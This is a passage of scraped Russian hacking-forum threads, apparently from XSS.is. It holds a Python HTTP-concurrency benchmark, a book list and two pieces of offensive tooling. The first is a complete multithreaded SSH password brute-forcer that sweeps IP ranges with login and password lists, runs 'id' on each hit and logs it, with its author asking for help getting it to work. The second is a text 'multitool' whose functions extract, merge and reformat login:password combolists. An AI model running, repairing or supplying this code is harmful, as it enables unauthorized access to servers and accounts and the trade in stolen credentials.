def doWork():
while True:
url = q.get()
status, url = getStatus(url)
doSomethingWithResult(status, url)
q.task_done()
def getStatus(url):
try:
res = requests.get(url)
return res.status_code, url
except Exception as e:
return "error", e
def doSomethingWithResult(status, url):
#print(status, url)
pass
q = Queue(concurrent * 2)
for i in range(concurrent):
t = Thread(target=doWork)
t.daemon = True
t.start()
urls = ("http://localhost/ "*10000).split(" ")
try:
for url in urls:#open('urllist.txt'):
q.put(url.strip())
q.join()
except KeyboardInterrupt:
sys.exit(1)
print(time.time() - start_time, "seconds (time)")
grequests
Code:Copy to clipboard
import grequests
import time
start_time = time.time()
urls = ("http://localhost/ "*10000).split(" ")
urls.pop()
def exception_handlerr(request, exception):
print("Request failed", request.url)
rs = (grequests.get(u) for u in urls)
for r in grequests.imap(rs, size=1000, exception_handler=exception_handlerr):
#print(r.status_code, r.url)
pass
print(time.time() - start_time, "seconds")
asyncio+aiohttp
Code:Copy to clipboard
import random
import asyncio
import time
from aiohttp import ClientSession
async def fetch(url, session):
try:
async with session.get(url) as response:
return
except Exception as e:
#print(e)
pass
async def bound_fetch(sem, url, session):
# Getter function with semaphore.
async with sem:
await fetch(url, session)
async def run(r):
url = "http://localhost:80/ "
tasks = []
# create instance of Semaphore
sem = asyncio.Semaphore(1000)
urls = (url*r).split(" ")
urls.pop()
# Create client session that will ensure we dont open new connection
# per each request.
async with ClientSession() as session:
for url in urls:
# pass Semaphore and session to every GET request
task = asyncio.ensure_future(bound_fetch(sem, url, session))
tasks.append(task)
responses = asyncio.gather(*tasks)
await responses
start_time = time.time()
number = 10000
loop = asyncio.get_event_loop()
future = asyncio.ensure_future(run(number))
loop.run_until_complete(future)
print(time.time() - start_time, "seconds")
Заключение: каждый способ хорош для своих задач, но не следует использовать какой-либо инструмент, пытаясь решить все задачи. Не существует "панацеи", это давно признали медики и пора бы уже признать программистам. Для каждой задачи нужен свой, индивидуальный подход, который позволит решить задачу максимально эффективно, как в плане трудозатрат, так и в плане эффективности работы софта. В данном случае было доказано, что для парсинга веб-страниц, гораздо эффективнее будет использовать asyncio+aiohttp, чем другие методы.
Выражаю огромную благодарность SilverT за помощь в написании статьи, а также за его просветительскую деятельность.
Интересные линки:
Документация по AsyncIO
Документация по AsyncIO с юзабельными
примерами
[1 Million Requests with python-
aiohttp](https://pawelmhm.github.io/asyncio/python/aiohttp/2016/04/22/asyncio-
aiohttp.html)
[Python's Web Framework Benchmarks](http://klen.github.io/py-frameworks-
bench/)
Также нашёл интересную [статью](http://rus-linux.net/MyLDP/BOOKS/Architecture-
Open-Source-Applications/Vol-4/03-web-crawler-with-asyncio.html), но там всё
на сокетах
P.S. Позже может будут (а может и не будут) результаты тестов с HTTPS, где всё
гораздо более однозначно
P.S.S. Если кого-то интересует, то также можно написать небольшую статью по
использованию AsyncIO (это займёт время, поэтому, чем больше желающих, тем
больше вероятность появления в свет статьи)
Как-то морозным зимним вечером накидал от балды многопоточныйбрут ssh на
питоне.
Но столкнулся с интересным эффектом, скорость потоков падала со временем а
гудов я так и не получил. Кто шурупит - посмотрите в сорцы, попробуем вместе
найти ошибку.
start.py
Code:Copy to clipboard
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# ----------------------------------------------------------
# coded by Ar3s
# How to use: python start.py
# Profit!
# ----------------------------------------------------------
import os
import re
import threading
import paramiko
import socket
import struct
import subprocess
import random
from file import io
#system
os.system('clear')
file = io()
thread_count = 100
def printer(data):
lock = threading.Lock()
lock.acquire()
#os.system('clear')
print data
lock.release()
def cleaner(list):
try:
list = dict([(item, None) for item in list]).keys()
except:
print 'Ошибка выборки уникальных значений из списка.'
return list
def ip_builder(from_ip, to_ip):
ips = []
from_ip = re.sub("^\s+|\n|\r|\s+$", '', from_ip)
to_ip = re.sub("^\s+|\n|\r|\s+$", '', to_ip)
try:
start = struct.unpack('>I', socket.inet_aton(from_ip))[0]
end = struct.unpack('>I', socket.inet_aton(to_ip))[0]
ips = [socket.inet_ntoa(struct.pack('>I', i)) for i in range(start, end)]
return ips
except:
print 'Неверно задан диапазон'
return ips
def ssh_cmd(ip, user, passwd, cmd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
printer(user+':'+passwd+'@'+ip)
ssh_session.exec_command(command)
data = user+':'+passwd+'@'+ip
status = file.writeto('good.txt', data)
data = data+'\t'+ssh_session.recv(1024)
status = file.writeto('good_full.txt', data)
except:
status = False
return
def ssh_connect(ip, user, passwd):
for u in xrange(len(user)):
usr = re.sub("^\s+|\n|\r|\s+$", '', user[u])
for p in xrange(len(passwd)):
pasw = re.sub("^\s+|\n|\r|\s+$", '', passwd[p])
ssh_cmd(ip, usr, pasw, 'id')
#printer(usr+':'+pasw+'@'+ip)
def main():
global thread_count
ips = []
ip = []
# Читаем диапазоны
status, ips = file.readfrom('range.txt')
if (status == True):
print 'Загружено ' +str(len(ips))+' диапазонов!'
for line in ips:
start_ip, finish_ip = line.strip().split('-')
for item in (ip_builder(start_ip, finish_ip)):
ip.append(item)
if (status == True):
try:
ip = cleaner(ip)
random.shuffle(ip)
print 'В задании '+str(len(ip))+' ip!'
status = True
except:
print 'Ошибка обработки IP'
status = False
# Читаем логины
status, user = file.readfrom('login.txt')
user = cleaner(user)
print 'В задании '+str(len(user))+' логинов'
# Читаем пароли
status, passwd = file.readfrom('pass.txt')
passwd = cleaner(passwd)
print 'В задании '+str(len(passwd))+' паролей'
# Запускаем потоки
threads = []
count = 0
while count < len(ip):
for i in xrange(thread_count):
try:
thread = threading.Thread(target=ssh_connect, args=(ip[count], user, passwd))
thread.start()
threads.append(thread)
except:
count = count
count += 1
for t in threads:
try:
t.join()
except:
tt = 1
# start main function
if __name__ == '__main__':
main()
file.py
Code:Copy to clipboard
#coding: utf-8
import time
import sys
import threading
import types
LOCK = threading.RLock()
folder = './cfg/'
class io:
def readfrom(self, name):
if (name == ''):
print 'Не указано имя файла для чтения!'
status = False
else:
data = []
try:
with open(folder+name, 'r') as rf:
for line in rf:
data.append(line)
status = True
except IOError:
print "Не найден файл: "+name
status = False
except ValueError:
print "Неверный формат файла: "+name
status = False
if (status == True):
return status, data
else:
data = []
return status, data
def writeto(self, name, data):
if not name or not data:
print 'Не указано имя файла или отсутствуют данные для записи в файл'
return False
else:
filename = folder+name
for i in xrange(5):
try:
with LOCK:
with open(filename, 'a') as out:
if isinstance(data, basestring):
out.write(data+'\n')
else:
for i in data:
out.write(i+'\n')
return True
except:
time.sleep(0.5)
print '5 попыток записи в файл оказались неудачными. Проверьте права на каталог и на файл для записи.'
return False
так же создаем папку cfg, в которой создаем файлы good.txt good_full.txt
login.txt pass.txt range.txt
Права на файлы 777
Чего не реализовано - нет проверки онлайн хост или нет, на каждый ip брутит весь список даже если нет ответа. Доработать не проблема если понять почему срабатываний-то нет.
По просьбе пользователей, открываю топик с книгами по языку программирования python.
Просьба соблюдать формат.
Формат следующий.
[язык книги] Название книги, издание, год выпуска, автор
Картинка - обложка книги
Описание книги
Формат книги | СсылкаClick to expand...
[Ru] Изучаем Python, том 1-2, 5-е издание (2019) Марк Лутц
С помощью этой практической книги вы получите всестороннее и глубокое введение в основы языка Python. Будучи основанным на популярном учебном курсе Марка Лутца, обновленное 5-е издание книги поможет вам быстро научиться писать эффективный высококачественный код на Python. Она является идеальным способом начать изучение Python, будь вы новичок в программировании или профессиональный разработчик программного обеспечения на других языках.Это простое и понятное учебное пособие, укомплектованное контрольными вопросами, упражнениями и полезными иллюстрациями, позволит вам освоить основы линеек Python 3.X и 2.X. Вы также ознакомитесь с расширенными возможностями языка, получившими широкое распространение в коде Python.Благодаря книге вы:" Исследуете основные встроенные типы объектов Python, такие как числа, списки и словари" Научитесь создавать и обрабатывать объекты с помощью операторов Python и освоите общую синтаксическую модель Python" Сможете применять функции для устранения избыточности кода и упаковки кода с целью многократного использования" Узнаете, как организовывать операторы, функции и прочие инструменты в более крупные компоненты посредством модулей" Погрузитесь глубже в классы - инструмент объектно-ориентированного программирования Python для структурирования кода" Научитесь писать крупные программы с применением модели обработки исключений и инструментов разработки Python" Освоите более сложные инструменты Python, включая декораторы, дескрипторы, метаклассы и обработку Unicode"Книга Learning Python находится в начале моего списка рекомендованной литературы для любого, кто желает научиться программировать на Python."Дуг Хеллманнстарший инженер-программист, Racemi, Inc.Марк Лутц является мировым лидером в обучении языку Python, автором самых ранних и ставших бестселлерами книг по Python, а также первопроходцем в сообществе Python, начиная с 1992 года. Обладая более чем 30-летним опытом разработки, Марк был автором книг Programming Python, 4th Edition и Python Pocket Reference, 4th Edition издательства O'Reilly.
PDF | Ссылка 1 том (типы и операции, операторы и синтаксис, функции и генераторы, модули и пакеты)
PDF | Ссылка 2 том (ООП, исключения, инструменты, декораторы, метаклассы)
[Ru] Python. Карманный справочник, 5-е издание (2015) Марк Лутц
Этот краткий справочник по Python, карманного типа, обновлен с учетом версий 3.4 и 2.7 и очень удобен для наведения быстрых справок в процессе разработки программ на Python. В лаконичной форме здесь представлены все необходимые сведения о типах данных и операторах Python, специальных методах, встроенных функциях и исключениях, наиболее употребительных стандартных библиотечных модулях и других примечательных языковых средствах Python. Данное справочное пособие написано Марком Лутцом - известным и широко признанным во всем мире инструктором по Python. Оно послужит отличным дополнением к обширной литературе по Python, включая следующие книги самого автора: Learning Python (издательство O'Reilly), а также Programming Python (издательство O'Reilly). В пятом издании этого справочника рассматриваются следующие вопросы. Встроенные типы объектов, включая числа, списки, словари, множества и многое другое. Операторы и синтаксис для создания и обработки объектов. Функции и модули для структуризации и повторного использования кода. Инструментальные средства объектно-ориентированного программирования на Python. Встроенные функции, исключения и атрибуты. Специальные методы перегрузки операторов. Широко употребляемые стандартные библиотечные модули и расширения. Параметры командной строки и инструментальные средства разработки. Дополнительные рекомендации и идиомы. Прикладной интерфейс API базы данных SQL в Python.
PDF | Ссылка
[Ru] Программирование на Python, том 1-2, 4-е издание (2011) Марк Лутц
Монументальный труд Марка Лутца «Программирование на Python» в 2-х томах представляет собой учебник по применению языка Python для решения наиболее типичных задач в различных прикладных областях. В нем рассказывается о применении языка Python в системном администрировании, для создания графических интерфейсов и веб-приложений и исследуются приемы программирования сетевых взаимодействий, взаимодействий с базами данных, обработки текста, создания интерфейсов для сценариев и во многих других областях.
PDF | Ссылка 1 том (системное программирование и графические интерфейсы)
PDF | Ссылка 2 том (сетевое программирование, клиент, сервер, базы данных, структуры данных, интеграция Python и Си)
Написал: rand
Эксклюзивно для: XSS.is
Версия Python: 3.12
Для работы требуется установить:
Bash:Copy to clipboard
pip install colorlog==6.9.0
Для работы модуля копирования строк из файла:
Bash:Copy to clipboard
pip install pyperclip==1.9.0
Для работы модуля изменения кодировки файла:
Bash:Copy to clipboard
pip install chardet==5.2.0
Всем привет, после того как был написан алгоритм по удалению дублей в больших файлах, меня некоторые просили сделать мультитул для работы с текстовиками. В одной ветке мне показали мультитул от разработчика под ником Lays, но судя по Virus Total он протроянен. Поэтому была поставлена задача перед собой повторить его функционал на петухоне. Над продуктом я работаю уже плотно около недели, и получилось уже большую часть функций реализовать. Остальные попробую сделать в течении месяца и буду обновлять этот продукт через редактирование поста (исправление найденных багов, добавление функционала). Продукт тестировался на сгенерированных строках, и может некорректно работать с вашими файлами, по найденым багам и пожеланиям просьба отписаться в ветке.
Структура ПО:
multitool_txt.py
Это основной файл который отрисовывает консольный интерфейс и вызывает
основные функции из модулей:
Как выглядит интерфейс:
Код:
Python:Copy to clipboard
import os
import time
from colorama import init, Fore, Style
# Инициализация colorama
init(autoreset=True)
# Импорт всех функций
from utils.remove_duplicates import remove_duplicates
from utils.compare_databases import compare_files
from utils.normalize_base import process_lines as normalize
from utils.extract_email import extract_emails
from utils.extract_logins import extract_logins
from utils.extract_passwords import extract_passwords
from utils.sort_by_domains import sort_domains
from utils.remove_domains import remove_domains
from utils.merge_with_passwords import append_passwords
from utils.merge_databases import merge_files_in_directory
from utils.split_database import split_file
from utils.randomize import randomize_file
from utils.copy_to_clipboard import copy_to_clipboard
from utils.remove_non_latin import clean_file
from utils.format_database import convert_file_encoding, POPULAR_ENCODINGS
def main_multitool():
def display_menu():
print(Fore.CYAN + Style.BRIGHT + "\nВыберите операцию:")
print(Fore.GREEN + "1. Удалить дубликаты")
print(Fore.YELLOW + "2. Сравнить базы данных")
print(Fore.MAGENTA + "3. Найти и извлечь Email из строк")
print(Fore.BLUE + "4. Извлечь логины")
print(Fore.RED + "5. Извлечь пароли")
print(Fore.CYAN + "6. Сортировать по доменам (Email/URL)")
print(Fore.GREEN + "7. Удалить домены в строках Email")
print(Fore.YELLOW + "8. Склеить строки с паролями")
print(Fore.MAGENTA + "9. Объединить базы")
print(Fore.BLUE + "10. Разбить базу на части")
print(Fore.RED + "11. Рандомизировать базу")
print(Fore.CYAN + "12. Скопировать строки в буфер обмена")
print(Fore.GREEN + "13. Удалить строки с не латинскими символами")
print(Fore.YELLOW + "14. Изменить кодировку файла")
print(Fore.MAGENTA + "15. Нормализовать базу")
print(Fore.RED + Style.BRIGHT + "0. Выйти\n")
def get_file():
"""Позволяет выбрать файл через диалоговое окно или ввод пути вручную."""
print("\nВыберите способ ввода файла:")
print(Fore.CYAN + "1. Ввести путь к файлу вручную")
print(Fore.MAGENTA + "2. Выбрать файл через окно (пока в разработке)")
while True:
try:
choice = int(input("Ваш выбор: "))
if choice == 1:
file_path = input("Введите полный путь к файлу: ").strip()
if os.path.isfile(file_path):
return file_path
else:
print(Fore.RED + "Файл не найден. Попробуйте снова.")
elif choice == 2:
print(Fore.RED + Style.BRIGHT + "Функция в разработке, ожидайте в новой версии!\n")
continue
else:
print(Fore.YELLOW + "Введите 1 или 2.")
except ValueError:
print(Fore.RED + "Введите число.")
def get_input(prompt):
try:
return int(input(prompt))
except ValueError:
print(Fore.RED + "Введите число.")
return None
# ASCII-заставка
print(Fore.LIGHTGREEN_EX + """
# # ## # # # ## ##### # # #####
## ## # # # # # # # #
# ## # # # # ##### ### ##### #### #### # # # # #
# # # # # # # # # # # # # ###### # # #
# # # # # # # # # # # # # # # # #
# # # ## # # # # # # # # # # # # #
# # ### # ### ### ##### ### #### #### ### # # # #
# # ### # # #### #### #
# # # # # # # # #
##### # # # ### ##### # ### ##### #### #### # ### # # # # ### #####
# # # # ## # # ## # # # # # # ## # #### #### # #
# # # # # # # # # # # # # # # # # # # # ####
# # ##### # # ## # # # # # # # # # # # # # # ## # #
##### # # ### # # # ##### # #### # # # #### #### ## ##### #####
####
""")
while True:
display_menu()
choice = get_input(Fore.CYAN + "Ваш выбор: ")
if choice is None:
continue
if choice == 0:
print(Fore.RED + "Выход из программы.")
break
# Выбор файла
if not choice == 2 and not choice == 9:
file_name = get_file()
print(Fore.GREEN + f"Выбран файл: {file_name}")
else:
pass
# Выполнение операций
if choice == 1: # Удаление дублей
remove_duplicates(file_name)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 2: # Сравнение файлов
print(Fore.RED + "Предупреждение!!! Файлы при сравнении полностью загрузятся в ОЗУ, при большом размере файла возможно переполнение памяти и аварийное завершение работы!")
input_dir = input("Введите путь к директории с файлами для сравнения: ").strip()
output_dir = input("Введите путь к директории для сохранения результатов: ").strip()
compare_files(input_dir, output_dir)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 3: # Извлекаем Email по регулярке
output_file = input("Введите путь и имя выходного файла с Email (с расширением): ").strip()
extract_emails(file_name, output_file)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 4: # Извлекаем логины
output_file = input("Введите путь и имя выходного файла с логинами (с расширением): ").strip()
delimiter = input("Введите разделитель (например, ':', '|', '/', ';'): ").strip()
position = int(input("Введите позицию логина по разделителю (0 — первая колонка): ").strip())
extract_logins(file_name, output_file, delimiter, position)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 5: # Извлекаем пароли из строк
output_file = input("Введите путь и имя выходного файла с паролями (с расширением): ").strip()
delimiter = input("Введите разделитель (например, ':', '|', '/', ';'): ").strip()
position = int(input("Введите позицию пароля по разделителю (0 — первая колонка): ").strip())
extract_passwords(file_name, output_file, delimiter, position)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 6: # Сортировка по доменам
output_dir = input("Введите путь к директории для сохранения: ").strip()
# Меню выбора режима
while True:
print(Fore.YELLOW + "\nВыберите режим обработки:")
print(Fore.LIGHTMAGENTA_EX + "1. Сортировка всех строк в один файл (one_file)")
print(Fore.LIGHTCYAN_EX + "2. Сортировка по доменам в отдельные файлы (by_domains)")
print(Fore.LIGHTRED_EX + "3. Экспорт строк по указанным доменам (filter_domains)")
print(Fore.LIGHTBLUE_EX + "0. Перезапуск меню.")
choice = input("Введите номер режима: ").strip()
if choice == "1":
output_mode = "one_file"
filter_domains = None
break
elif choice == "2":
output_mode = "by_domains"
filter_domains = None
break
elif choice == "3":
output_mode = "filter_domains"
domains_input = input("Введите домены для фильтрации (через запятую): ").strip()
filter_domains = [domain.strip() for domain in domains_input.split(',')]
break
elif choice == "0":
print("Выход из программы.")
time.sleep(3)
main_multitool()
else:
print("Неверный выбор. Попробуйте снова.")
sort_domains(file_name, output_dir, output_mode, filter_domains)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 7: # Удаление доменов из Email адресов
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
remove_domains(file_name, output_file)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 8: # Склеить строки с паролями
print(Fore.RED + "Предупреждение!!! Данная функция очень требовательна к системным ресурсам.")
output_file = input("Введите путь к выходному файлу (с расширением): ").strip()
mode = input("Выберите режим работы ('manual' или 'from_file'): ").strip().lower()
delimiter = input("Введите разделитель для строки и пароля (например, ':', '|', '/', ';'): ").strip()
if not delimiter:
print(Fore.RED + "ОШИБКА: Разделитель не указан.")
return
if mode == 'manual':
password = input("Введите пароль для добавления: ").strip()
append_passwords(file_name, output_file, mode, password=password, delimiter=delimiter)
elif mode == 'from_file':
passwords_file = input("Введите путь к файлу с паролями: ").strip()
append_passwords(file_name, output_file, mode, passwords_file=passwords_file, delimiter=delimiter)
else:
print(Fore.RED + "ОШИБКА: Неверный режим. Используйте 'manual' или 'from_file'.")
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 9: # Объединить базы
directory = input("Введите путь к директории с файлами для слияния: ").strip()
output_file = input("Введите имя выходного файла (с расширением): ").strip()
merge_files_in_directory(directory, output_file)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 10: # Разделить один файл на несколько частей
output_directory = input("Введите путь для сохранения разделённых файлов: ").strip()
lines_per_file = int(input("Введите количество строк в каждом выходном файле: ").strip())
split_file(file_name, output_directory, lines_per_file)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 11: # Рандомизация строк в файле
print(Fore.RED + "Предупреждение!!! Файл полностью загрузится в ОЗУ, при большом размере файла возможно переполнение памяти и аварийное завершение работы!")
output_file = input("Введите путь для сохранения перемешанного файла (с расширением): ").strip()
buffer_size = int(input("Введите размер буфера (число строк, загружаемых за раз): ").strip())
randomize_file(file_name, output_file, buffer_size)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 12: # Копирование строк в буфер.
try:
print(Fore.LIGHTGREEN_EX + "Запуск процесса")
mode = input("Выберите режим (1 — весь файл, 2 — диапазон строк): ").strip()
if mode == '1':
copy_to_clipboard(file_name)
elif mode == '2':
start_line = int(input("Введите номер начальной строки: ").strip())
end_line = int(input("Введите номер конечной строки: ").strip())
copy_to_clipboard(file_name, start_line, end_line)
else:
print("Неверный выбор режима.")
print(Fore.LIGHTRED_EX + "Выбран неверный режим. Перезапуск меню...")
time.sleep(3)
main_multitool()
except Exception as e:
print(Fore.RED + f"Ошибка: {e}")
finally:
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 13: # Удалить строки с не латинскими буквами, почистить лог от мусора
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
print("Выберите режим обработки спецсимволов:")
print(Fore.GREEN + "1 - Разрешить все спецсимволы")
print(Fore.YELLOW + "2 - Разрешить только специальные символы (@, ., _, -)")
print(Fore.RED + "3 - Не разрешать спецсимволы")
special_mode_choice = input("Введите номер режима (1, 2 или 3): ").strip()
special_mode = ''
if special_mode_choice == '1':
special_mode = 'all'
elif special_mode_choice == '2':
special_mode = 'custom'
elif special_mode_choice == '3':
special_mode = 'none'
else:
print(Fore.RED + "Неверный выбор режима. Завершение операции.")
return
clean_file(file_name, output_file, special_mode)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 14: # Изменение кодировки и сортировка строк файла
try:
print(Fore.LIGHTGREEN_EX + "Запуск операции")
# Ввод параметров пользователем
output_file = input("Введите путь и имя выходного файла (с расширением): ").strip()
print(Fore.LIGHTBLUE_EX + "Доступные кодировки:")
for i, encoding in enumerate(POPULAR_ENCODINGS, 1):
print(Fore.LIGHTGREEN_EX + f"{i}. {encoding}")
while True:
try:
choice = int(input("Выберите номер целевой кодировки: "))
if 1 <= choice <= len(POPULAR_ENCODINGS):
target_encoding = POPULAR_ENCODINGS[choice - 1]
break
else:
print("Некорректный выбор. Попробуйте снова.")
except ValueError:
print("Введите корректный номер из списка.")
convert_file_encoding(file_name, output_file, target_encoding)
except KeyboardInterrupt:
print(Fore.LIGHTRED_EX + "Операция прервана. Перезапуск меню...")
time.sleep(3)
main_multitool()
except Exception as e:
print(Fore.LIGHTRED_EX + f"Ошибка в основной функции: {e}, перезапуск меню")
time.sleep(3)
main_multitool()
finally:
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == 15: # Нормализатор баз
while True:
print(Fore.YELLOW + "\nВыберите режим обработки:")
print(Fore.LIGHTMAGENTA_EX + "1. Форматирование строк (format)")
print(Fore.LIGHTCYAN_EX + "2. Фильтрация строк по формату (filter)")
print(Fore.LIGHTRED_EX + "3. Очистка строк от спецсимволов (clean)")
print(Fore.LIGHTBLUE_EX + "4. Обрезка строк по длине (trim)")
print(Fore.LIGHTGREEN_EX + "0. Выход.")
choice = input("Введите номер режима: ").strip()
if choice == "1":
mode = "format"
output_file = input("Введите путь к выходному файлу (с расширением): ").strip()
delimiter = input("Введите разделитель: ").strip()
input_format = input("Введите ожидаемый формат входящей строки (например, log:pass:link): ").strip()
format_order = input("Введите новый порядок формата (например, link:log:pass): ").strip()
normalize(file_name, output_file, mode=mode, delimiter=delimiter, input_format=input_format, format_order=format_order)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == "2":
mode = "filter"
output_file = input("Введите путь к выходному файлу (с расширением): ").strip()
delimiter = input("Введите разделитель: ").strip()
valid_format = input("Введите допустимый формат (например, mail:pass): ").strip()
normalize(file_name, output_file, mode=mode, delimiter=delimiter, valid_format=valid_format)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == "3":
mode = "clean"
output_file = input("Введите путь к выходному файлу (с расширением): ").strip()
exclude_chars = input("Введите символы для исключения (например, !@#$%^&*): ").strip()
normalize(file_name, output_file, mode=mode, delimiter=None, exclude_chars=exclude_chars)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == "4":
mode = "trim"
output_file = input("Введите путь к выходному файлу (с расширением): ").strip()
min_len = int(input("Введите минимальную длину строки: ").strip())
max_len = int(input("Введите максимальную длину строки: ").strip())
normalize(file_name, output_file, mode=mode, min_len=min_len, max_len=max_len, delimiter=None)
print(Fore.YELLOW + "Операция выполнена. Перезапуск меню...\n")
time.sleep(3)
main_multitool()
elif choice == "0":
print("Выход из программы.")
break
else:
print("Неверный выбор. Попробуйте снова.")
else:
print(Fore.RED + "Эта функция пока не реализована. Попробуйте другую опцию.")
if __name__ == "__main__":
main_multitool()
Реализованные модули:
1. Удаление дубликатов (remove_duplicates.py), это просто копипаст
мультипроцессорного клинера и сортировщика из моей предыдущей ветки.
Код:
Python:Copy to clipboard
# Импорт необходимых библиотек
import os # Для работы с операционной системой и файловой системой
import heapq # Для эффективного слияния отсортированных последовательностей
import time # Для измерения времени выполнения скрипта
import logging # Для ведения логов
import shutil # Для удаления файлов и директории TEMP
import uuid # Для генерации уникальных идентификаторов
from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor, as_completed # Для параллельного выполнения задач
from colorlog import ColoredFormatter # Для создания цветных логов
# Настройка цветного логирования
formatter = ColoredFormatter(
"%(log_color)s%(asctime)s - %(levelname)s - %(message)s",
datefmt=None,
reset=True,
log_colors={
'DEBUG': 'cyan',
'INFO': 'green',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'bold_red',
}
)
# Создание и настройка обработчика логов
handler = logging.StreamHandler() # Создаем обработчик для вывода логов в консоль
handler.setFormatter(formatter) # Устанавливаем форматтер для обработчика
logger = logging.getLogger() # Получаем объект логгера
logger.addHandler(handler) # Добавляем обработчик к логгеру
logger.setLevel(logging.INFO) # Устанавливаем уровень логирования
# Создание временной директории
temp_dir = os.path.join(os.getcwd(), 'TEMP') # Путь к временной директории в текущей рабочей директории
if not os.path.exists(temp_dir): # Если директория не существует
os.makedirs(temp_dir) # Создаем её
def create_temp_merged_file(temp_dir):
"""
Создает временный файл для слияния данных.
:param temp_dir: Путь к временной директории
"""
unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4().hex}.tmp") # Генерируем уникальное имя файла
temp_merged_file = open(unique_filename, 'w', encoding='utf-8') # Открываем файл для записи
return temp_merged_file, unique_filename # Возвращаем объект файла и его имя
def heavy_computation(n):
"""
Выполняет тяжелое вычисление (для симуляции нагрузки, процентов на 5 по моим замерам увеличивает скорость обработки лога).
:param n: Число для вычислений
:return: Результат вычисления
"""
logger.debug(f"Запуск тяжелого вычисления с параметром: {n}")
result = 0
for i in range(n):
result += i * i # Выполняем сложение квадратов чисел
logger.debug(f"Результат тяжелого вычисления: {result}")
return result
def process_chunk_and_write_multiprocess(chunk, temp_dir):
"""
Обрабатывает чанк данных и записывает результат во временный файл.
:param chunk: Список строк для обработки
:param temp_dir: Путь к временной директории
:return: Имя созданного временного файла или None в случае ошибки
"""
try:
logger.info(f"Начало обработки чанка размером {len(chunk)} строк (процесс)")
heavy_computation(10000000) # Симуляция тяжелых вычислений
unique_items = set(chunk) # Убираем дубликаты на уровне чанка
sorted_chunk = sorted(unique_items) # Сортируем уникальные элементы
unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4()}.tmp") # Генерируем уникальное имя файла
with open(unique_filename, 'w', encoding='utf-8') as temp_file:
temp_file.write("\n".join(sorted_chunk) + "\n") # Сохраняем только уникальные строки
return unique_filename
except Exception as e:
logger.error(f"Ошибка при обработке чанка: {e}")
return None
def merge_files_parallel(temp_files, output_file, num_threads=24):
"""
Выполняет параллельное слияние временных файлов.
:param temp_files: Список временных файлов для слияния
:param output_file: Имя выходного файла
:param num_threads: Количество потоков для использования
:return: (количество уникальных строк, количество дубликатов, имя выходного файла)
"""
try:
logger.info(f"Параллельное слияние {len(temp_files)} временных файлов с использованием {num_threads} потоков")
unique_count = 0
duplicate_count = 0
file_iters = []
try:
for temp_file in temp_files:
file_iters.append \
(open(temp_file, 'r', encoding='utf-8', errors='replace')) # Открываем все временные файлы
merged_iter = heapq.merge(*[iter(f) for f in file_iters]) # Создаем итератор для слияния
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
prev_line = None
for line in merged_iter:
line = line.strip()
if line != prev_line: # Если текущая строка отличается от предыдущей
outfile.write(line + '\n') # Записываем её в выходной файл
prev_line = line
unique_count += 1
else:
duplicate_count += 1 # Увеличиваем счетчик дубликатов
except Exception as e:
logger.error(f"Ошибка при слиянии файлов: {e}")
return 0, 0
finally:
for f in file_iters:
f.close() # Закрываем все открытые файлы
logger.info(f"Слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")
return unique_count, duplicate_count, output_file
except Exception as e:
logger.error(f"Ошибка при параллельном слиянии файлов: {e}")
return 0, 0
def batch_merge(temp_files, batch_size, temp_dir, num_merge_processes=24):
"""
Выполняет пакетное слияние временных файлов.
:param temp_files: Список временных файлов
:param batch_size: Размер пакета для слияния
:param temp_dir: Путь к временной директории
:param num_merge_processes: Количество процессов для слияния
:return: (список объединенных файлов, общее количество уникальных строк, общее количество дубликатов)
"""
try:
logger.info(f"Начало пакетного слияния с размером пакета {batch_size}")
merged_files = []
total_unique_count = 0
total_duplicate_count = 0
with ProcessPoolExecutor(max_workers=num_merge_processes) as merge_executor:
futures = []
for i in range(0, len(temp_files), batch_size):
batch = temp_files[i:i + batch_size] # Формируем пакет файлов
logger.info(f"Слияние пакета с файлов {i + 1} по {min(i + batch_size, len(temp_files))}")
temp_merged_file, unique_filename = create_temp_merged_file(temp_dir)
temp_merged_file.close()
futures.append(merge_executor.submit(merge_files_parallel, batch, unique_filename))
for future in as_completed(futures):
unique_count, duplicate_count, temp_file = future.result() # Получаем результат слияния
if unique_count or duplicate_count:
